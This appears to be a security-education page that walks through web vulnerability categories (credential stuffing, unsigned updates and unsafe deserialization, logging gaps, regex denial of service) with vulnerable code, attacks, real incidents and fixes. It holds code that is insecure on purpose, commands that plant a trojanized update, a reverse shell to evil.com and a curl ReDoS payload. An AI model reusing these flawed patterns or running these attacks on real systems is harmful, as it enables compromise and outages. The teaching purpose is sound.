Lateral Movement
One compromised account becomes a foothold to reach internal systems and other accounts
Ransomware Deployment
Legitimate credentials let attackers move quietly before detonating ransomware
Operational Shutdown
Critical infrastructure operators sometimes shut systems down themselves to contain a breach
Regulatory Fallout
Breaches involving critical services attract regulatory and Congressional scrutiny
An attacker bought a contractor's stolen password on the dark web, then repeatedly triggered MFA push prompts until the contractor approved one just to stop the notifications.
Sources: Wikipedia: Lapsus$, Wikipedia: Uber
The Fix
Rate-limit every attempt, require a second factor and make that second factor resistant to fatigue.
// ✅ Rate limit by IP and by account, not just IP
app.post('/api/login',
loginRateLimiter, // ✅ e.g. 5 attempts per 15 minutes
async (req, res) => {
const { email, password } = req.body;
const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);
if (!user || !checkPassword(password, user.passwordHash)) {
await recordFailedAttempt(email, req.ip); // ✅ Feeds lockout + alerting
return res.status(401).json({ error: 'Invalid credentials' });
}
// ✅ Require a second factor before issuing a full session
if (!user.mfaEnrolled) return res.status(403).json({ error: 'MFA setup required' });
const challenge = await createMfaChallenge(user.id); // ✅ Number-matching, not a bare "Approve?" tap
res.json({ mfaChallengeId: challenge.id });
});
Cap login attempts per account and per IP. Slow down or block automated guessing.
Prefer number-matching or hardware keys over a bare "Approve?" push that's easy to tap without thinking.
Reject passwords that already appear in known breach dumps, before they become a stuffing target.
A login from a new country, device or a sudden burst of MFA prompts should trigger review, not silent approval.
A compromised account should not automatically unlock every internal system it happens to have access.
Software or Data Integrity Failures
Trusting code or data without verifying where it actually came from — unsigned updates, unchecked deserialization, artifacts nobody confirmed match the source. Distinct from supply chain (A03): this is about verification at the point of use, not the build pipeline.
The Normal Flow
An app checks for updates and installs the latest version automatically.
Software Update
Version 4.2.1 is available.
The Vulnerable Code
The update is downloaded over HTTPS (Hypertext Transfer Protocol Secure) and run — HTTPS protects the connection, not the content.
// Auto-update routine, runs on every launch
async function checkForUpdate() {
const res = await fetch('https://cdn.example.com/updates/latest.exe');
const buffer = await res.arrayBuffer();
// ❌ No signature check, no checksum comparison
// ❌ Whatever the CDN (Content Delivery Network) returns is trusted completely
await fs.writeFile('update.exe', Buffer.from(buffer));
execFile('update.exe');
}
const serialize = require('node-serialize');
// Restores a "profile" object stored client-side in a cookie
app.use((req, res, next) => {
if (req.cookies.profile) {
// ❌ Deserializes an object straight from user-controlled input
req.profile = serialize.unserialize(req.cookies.profile);
}
next();
});
- The updater trusts the CDN's response completely — no signature, no hash comparison
- Some serialization formats let a crafted object embed executable code that runs the moment it's deserialized
- Both flaws share the same root cause: something arrived from outside the system and was trusted without verification
The Attack
Replace the trusted file or craft an object that runs code the moment it's loaded.
# Attacker gains access to the CDN origin or build server
$ ls /var/www/updates/
latest.exe
# Swap the legitimate binary for a backdoored one with the same filename
$ cp trojanized-update.exe /var/www/updates/latest.exe
# Every client that checks for updates from now on downloads the malicious version
# No error, no warning — it's served from the same trusted URL as always
▶ Server deserializes the cookie on the next request
▶ The embedded function executes with the server's own privileges
▶ A reverse shell connects back to evil.com
The Impact
A trusted update channel becomes a delivery mechanism the attacker didn't have to build themselves.
| version | installs | signed? | malicious? |
|---|---|---|---|
| 4.2.0 | 2,100,000 | Yes | No |
| 4.2.1 | 1,800,000 | Yes | Yes |
Every safeguard meant to prove trustworthiness — the signature, the domain, the update channel — ends up working in the attacker's favor.
Mass Distribution
Every user who trusted the auto-updater installs the malware automatically
Hard to Detect
A validly signed file from the official domain raises no antivirus or user suspicion
Remote Code Execution
Deserialization exploits typically hand the attacker a shell on the server
Trust Damage
Users lose confidence in auto-updates generally, not just for the affected product
Attackers pushed a backdoored update through ASUS's own Live Update tool, signed with a stolen but valid ASUS certificate, to up to roughly 1 million computers.
Sources: Kaspersky Securelist, Wikipedia
The Fix
Verify what arrives before trusting it — and never deserialize untrusted data into executable objects.
async function checkForUpdate() {
const res = await fetch('https://cdn.example.com/updates/latest.exe');
const buffer = Buffer.from(await res.arrayBuffer());
// ✅ Verify a cryptographic signature against a known public key
const sigValid = verifySignature(buffer, EXPECTED_PUBLIC_KEY);
if (!sigValid) throw new Error('Update signature verification failed');
// ✅ Also compare against a published checksum as a second check
if (sha256(buffer) !== EXPECTED_CHECKSUM) throw new Error('Checksum mismatch');
await fs.writeFile('update.exe', buffer);
execFile('update.exe');
}
// ✅ Elsewhere: replace unserialize() with JSON.parse() — plain data, no embedded functions
req.profile = JSON.parse(req.cookies.profile);
HTTPS protects data in transit. A cryptographic signature check confirms the content itself hasn't been tampered with.
Use plain data formats like JSON. If a serialization library can embed executable code, don't run it on user-controlled input.
SRI (Subresource Integrity) hashes on CDN-loaded scripts stop a compromised CDN from silently changing content.
A stolen signing key or a compromised build server makes signature checks meaningless — guard the key as carefully as the product.
If independent parties can rebuild an artifact and get an identical result, tampering becomes far harder to hide.
Logging & Alerting Failures
Insufficient logging, unmonitored logs and alerts nobody acts on — detection tools can only help if someone actually reads what they find.
The Normal Flow
The security dashboard shows all green. Logs are being collected, right on schedule.
Security Overview
All systems reporting normally.
2025-06-01 04:00:01 INFO GET /api/health 200
2025-06-01 04:00:02 INFO POST /api/orders 201
2025-06-01 04:00:03 INFO GET /api/products 200
2025-06-01 04:00:05 INFO GET /api/health 200
The Vulnerable Setup
Logging exists. Alerting exists. Neither one is actually configured to get anyone's attention.
app.use((req, res, next) => {
// ❌ Logs the request line only — no user ID, no outcome, no reason for a 403/401
console.log(`${req.method} ${req.path} ${res.statusCode}`);
next();
});
// ❌ Failed logins are never logged as a distinct, searchable event at all
app.post('/api/login', async (req, res) => {
const valid = await checkPassword(req.body);
if (!valid) return res.status(401).json({ error: 'Invalid credentials' });
// ...
});
Alert Routing Configuration
How "suspicious login" alerts reach the team.
- Logs capture the request but not the security-relevant outcome
- Failed logins, permission denials and admin actions aren't logged as distinct, searchable events
- Alerts exist on paper but route to a channel with no defined owner or response time
The Attack
The evidence is all there. It's just buried or already dismissed.
2025-06-01 03:58:41 INFO GET /api/health 200
2025-06-01 03:58:42 INFO GET /api/products 200
2025-06-01 03:58:44 WARN POST /api/login 401 (attempt 1 of 4,000)
2025-06-01 03:58:44 INFO GET /api/health 200
2025-06-01 03:58:45 INFO GET /api/products 200
2025-06-01 03:58:46 WARN POST /api/login 401 (attempt 2 of 4,000)
2025-06-01 03:58:46 INFO GET /api/health 200
... 4,000 near-identical WARN lines, one every ~2 seconds, over several days ...
Status: Unread
Opened: 11 days later, during an unrelated audit
Action taken at the time: none
The Impact
The gap between "a breach happened" and "someone noticed" is where the real damage accumulates.
277 days isn't a worst case — it's the measured industry average.
Each of these problems feeds back into the next — lost trust in alerting is exactly what lets dwell time grow even longer next time.
Longer Dwell Time
More time undetected means more data accessed and more systems reached
Harder Forensics
Relevant logs may have already rotated out of retention by the time anyone looks back
Regulatory Exposure
Breach notification laws often key off "when the organisation should have known"
Lost Trust in Tooling
Repeated missed alerts push teams to distrust or mute the very tools meant to help them
Target's own malware-detection tool flagged the intrusion in real time. The alert was seen by the security team and not escalated — 40 million card numbers were stolen over the following weeks.
Sources: Wikipedia, Krebs on Security
Attackers sat inside Starwood's reservation systems for roughly four years before an internal security tool finally flagged the intrusion. Marriott's initial estimate put 500 million guest records at risk, later revised down to around 383 million.
Sources: Krebs on Security, Wikipedia
The Fix
Log the events that matter, correlate them automatically and route the result to someone who will actually respond.
// ✅ Structured, searchable events for anything security-relevant
function logSecurityEvent(event, meta) {
logger.warn({ event, ...meta, timestamp: Date.now() }); // ✅ Ships to the SIEM (Security Information and Event Management)
}
app.post('/api/login', async (req, res) => {
const valid = await checkPassword(req.body);
if (!valid) {
logSecurityEvent('login_failed', { email: req.body.email, ip: req.ip });
return res.status(401).json({ error: 'Invalid credentials' });
}
// ...
});
// ✅ Correlation rule, not a per-line alert:
// ALERT WHEN count(login_failed) BY email > 10 WITHIN 5m -> page on-call
Failed logins, permission changes and admin actions need their own searchable event type.
A single failed login is noise. A thousand against one account in five minutes is a signal — write the rule that connects them.
An alert with no on-call rotation behind it is a suggestion, not a control.
Too many false positives trains people to ignore alerts entirely — precision matters as much as coverage.
If breaches average months to detect, logs that rotate out in days can't help the investigation.
Mishandling of Exceptional Conditions
Crashes, hangs and data corruption caused by code that never planned for the unexpected input, the failed request or the code path nobody expected to run again.
The Normal Flow
A signup form validates an email address before accepting it.
Email accepted
{ "valid": true }
The Vulnerable Code
The validation regex has nested quantifiers — a pattern that can take exponentially longer to fail than it takes to succeed.
// POST /api/validate-email
// ❌ Nested quantifiers: (x+)+ can backtrack exponentially on the wrong input
const EMAIL_REGEX = /^([a-zA-Z0-9]+)+@([a-zA-Z0-9]+)+\.[a-zA-Z]{2,}$/;
app.post('/api/validate-email', (req, res) => {
const { email } = req.body;
// ❌ No length cap, no timeout — the regex runs to completion no matter how long that takes
const valid = EMAIL_REGEX.test(email);
res.json({ valid });
});
([a-zA-Z0-9]+)+can match the same characters in many different ways — when the overall match ultimately fails, the engine backtracks through nearly all of them- There's no cap on input length before the regex runs
- Node.js regex execution is synchronous and single-threaded — a slow match blocks every other request on that process
The Attack
One carefully crafted string, sent to a single public endpoint.
# 40 valid characters followed by one character that can never complete the match
$ curl -X POST https://example.com/api/validate-email \
-d '{"email":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}'
# The request never returns. The process's single thread is now busy
# backtracking through millions of possible ways to match — and failing every time
# Ten more requests like this, sent in parallel, and every user of this server
# is now waiting behind them
The Impact
Unhandled exceptional conditions don't always come from an attacker — but they always take something down.
This is the only category here where the attacker doesn't have to steal anything to do real damage.
Total Service Outage
A single-threaded process that hangs stops serving every user, not just the attacker
Cascading Failures
Upstream services retry against a hung endpoint, spreading load into a wider outage
Financial Loss
Every minute of downtime on a revenue-generating service has a direct, measurable cost
No Data Theft Needed
Unlike most other categories, the damage is done without ever accessing a single record
A single catastrophic-backtracking regular expression deployed globally spiked CPU usage to 100% across Cloudflare's network, causing 27 minutes of widespread outages for its customers.
Source: Cloudflare's postmortem
A deployment error re-activated old, unused test code with no safeguard to catch the abnormal trading pattern it produced — $460 million lost in 45 minutes.
Source: Wikipedia
The Fix
Assume every input, every dependency and every code path will eventually fail — and plan for it explicitly.
// ✅ No nested quantifiers — each character class can only match one way
const EMAIL_REGEX = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
app.post('/api/validate-email', (req, res) => {
const { email } = req.body;
// ✅ Reject absurd input before it ever reaches the regex engine
if (typeof email !== 'string' || email.length > 254) {
return res.status(400).json({ valid: false });
}
const valid = EMAIL_REGEX.test(email);
res.json({ valid });
});
Reject oversized input outright, before it reaches a regex, parser or loop.
Patterns like (x+)+ or (x*)*
are the classic trigger for
catastrophic backtracking.
Regex matching, external calls and file parsing should all have an upper bound on how long they're allowed to run.
When something goes wrong, the safe default is to deny the action — not to silently continue as if it succeeded.
A fast, tested way to disable a misbehaving feature can turn a 45-minute disaster into a 45-second one.